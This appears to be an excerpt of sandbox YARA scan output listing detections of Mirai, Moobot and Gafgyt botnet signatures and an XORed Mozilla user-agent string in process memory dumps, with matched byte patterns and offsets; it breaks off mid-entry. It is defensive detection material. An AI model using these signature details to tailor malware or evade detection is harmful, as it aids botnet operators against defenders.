2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6654.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6959.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6292.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6894.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6894.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6894.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6894.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6894.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6894.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7046.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7046.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7046.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7046.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7046.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7046.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6885.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6885.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6885.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6885.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6885.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6885.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6283.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6283.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6283.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6283.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6283.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6283.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6841.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7416.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7416.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7416.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7416.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7416.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7416.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6743.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6803.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6716.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6716.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6716.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6716.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6716.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 